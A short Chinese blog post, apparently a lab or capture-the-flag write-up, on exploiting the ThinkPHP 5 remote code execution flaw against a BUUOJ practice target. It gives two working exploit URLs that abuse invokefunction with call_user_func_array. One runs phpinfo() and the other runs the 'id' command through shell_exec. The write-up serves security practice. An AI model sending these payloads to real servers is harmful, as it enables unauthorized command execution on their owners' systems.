码迷,mamicode.com
首页 > Web开发 > 详细

[ThinkPHP]5-Rce

时间:2019-12-25 13:14:20      阅读:259      评论:0      收藏:0      [点我收藏+]

标签:func   ima   com   图片   index   array   thinkphp   call   amp   

靶场首页

技术图片

 

 

构造POC 

POC1

该poc会执行phpinfo()

http://your-ip:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1  # 将执行phpinfo()

技术图片

 

 

 POC2

该poc将会执行id命令

http://node3.buuoj.cn:25181/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=id

技术图片

 

 爆出flag

技术图片

 

 

  

  

[ThinkPHP]5-Rce

标签:func   ima   com   图片   index   array   thinkphp   call   amp   

原文地址:https://www.cnblogs.com/R-S-PY/p/12095826.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!